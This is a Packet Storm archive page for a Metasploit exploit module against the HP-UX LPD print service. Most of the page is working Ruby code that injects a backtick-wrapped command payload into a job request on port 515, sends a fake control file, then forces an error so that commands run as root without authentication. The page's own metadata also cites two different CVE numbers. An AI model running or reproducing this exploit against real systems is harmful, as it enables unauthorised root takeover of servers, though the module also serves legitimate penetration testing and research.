what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

HP-UX LPD Command Execution

HP-UX LPD Command Execution
Posted Oct 27, 2009
Authored by H D Moore

This exploit abuses an unpublished vulnerability in the HP-UX LPD service. This flaw allows an unauthenticated attacker to execute arbitrary commands with the privileges of the root user. The LPD service is only exploitable when the address of the attacking system can be resolved by the target. This vulnerability was silently patched with the buffer overflow flaws addressed in HP Security Bulletin HPSBUX0208-213.

tags | exploit, overflow, arbitrary, root
systems | hpux
advisories | CVE-2002-1472
SHA-256 | f9d5ef66fb19775cafad693801df558f4d03366c4666e3742e525d43fecae14b

HP-UX LPD Command Execution

Change Mirror Download
##
# $Id$
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##


require 'msf/core'


class Metasploit3 < Msf::Exploit::Remote

include Msf::Exploit::Remote::Tcp

def initialize(info = {})
super(update_info(info,
'Name' => 'HP-UX LPD Command Execution',
'Description' => %q{
This exploit abuses an unpublished vulnerability in the
HP-UX LPD service. This flaw allows an unauthenticated
attacker to execute arbitrary commands with the privileges
of the root user. The LPD service is only exploitable when
the address of the attacking system can be resolved by the
target. This vulnerability was silently patched with the
buffer overflow flaws addressed in HP Security Bulletin
HPSBUX0208-213.

},
'Author' => [ 'hdm' ],
'Version' => '$Revision$',
'References' =>
[
[ 'CVE', '2002-1473'],
[ 'OSVDB', '9638'],
[ 'URL', 'http://archives.neohapsis.com/archives/hp/2002-q3/0064.html'],

],
'Platform' => ['unix', 'hpux'],
'Arch' => ARCH_CMD,
'Payload' =>
{
'Space' => 200,
'DisableNops' => true,
'BadChars' => "\x00\x09\x20\x2f",
'Compat' =>
{
'PayloadType' => 'cmd',
'RequiredCmd' => 'generic perl telnet',
}
},
'Targets' =>
[
[ 'Automatic Target', { }]
],
'DefaultTarget' => 0))

register_options(
[
Opt::RPORT(515)
], self.class)
end

def exploit

# The job ID is squashed down to three decimal digits
jid = ($$ % 1000).to_s + [Time.now.to_i].pack('N').unpack('H*')[0]

# Connect to the LPD service
connect

print_status("Sending our job request with embedded command string...")
# Send the job request with the encoded command
sock.put(
"\x02" + rand_text_alphanumeric(3) + jid +
"`" + payload.encoded + "`\n"
)

res = sock.get_once(1)
if (res[0] != 0)
print_status("The target did not accept our job request")
return
end

print_status("Sending our fake control file...")
sock.put("\x02 32 cfA" + rand_text_alphanumeric(8) + "\n")
res = sock.get_once(1)
if (res[0] != 0)
print_status("The target did not accept our control file")
return
end

print_status("Forcing an error and hijacking the cleanup routine...")

begin
sock.put(rand_text_alphanumeric(16384))
disconnect
rescue
end

end

end

Login or Register to add favorites

File Archive:

June 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Jun 1st
    0 Files
  • 2
    Jun 2nd
    0 Files
  • 3
    Jun 3rd
    18 Files
  • 4
    Jun 4th
    21 Files
  • 5
    Jun 5th
    0 Files
  • 6
    Jun 6th
    57 Files
  • 7
    Jun 7th
    6 Files
  • 8
    Jun 8th
    0 Files
  • 9
    Jun 9th
    0 Files
  • 10
    Jun 10th
    12 Files
  • 11
    Jun 11th
    27 Files
  • 12
    Jun 12th
    38 Files
  • 13
    Jun 13th
    0 Files
  • 14
    Jun 14th
    0 Files
  • 15
    Jun 15th
    0 Files
  • 16
    Jun 16th
    0 Files
  • 17
    Jun 17th
    0 Files
  • 18
    Jun 18th
    0 Files
  • 19
    Jun 19th
    0 Files
  • 20
    Jun 20th
    0 Files
  • 21
    Jun 21st
    0 Files
  • 22
    Jun 22nd
    0 Files
  • 23
    Jun 23rd
    0 Files
  • 24
    Jun 24th
    0 Files
  • 25
    Jun 25th
    0 Files
  • 26
    Jun 26th
    0 Files
  • 27
    Jun 27th
    0 Files
  • 28
    Jun 28th
    0 Files
  • 29
    Jun 29th
    0 Files
  • 30
    Jun 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close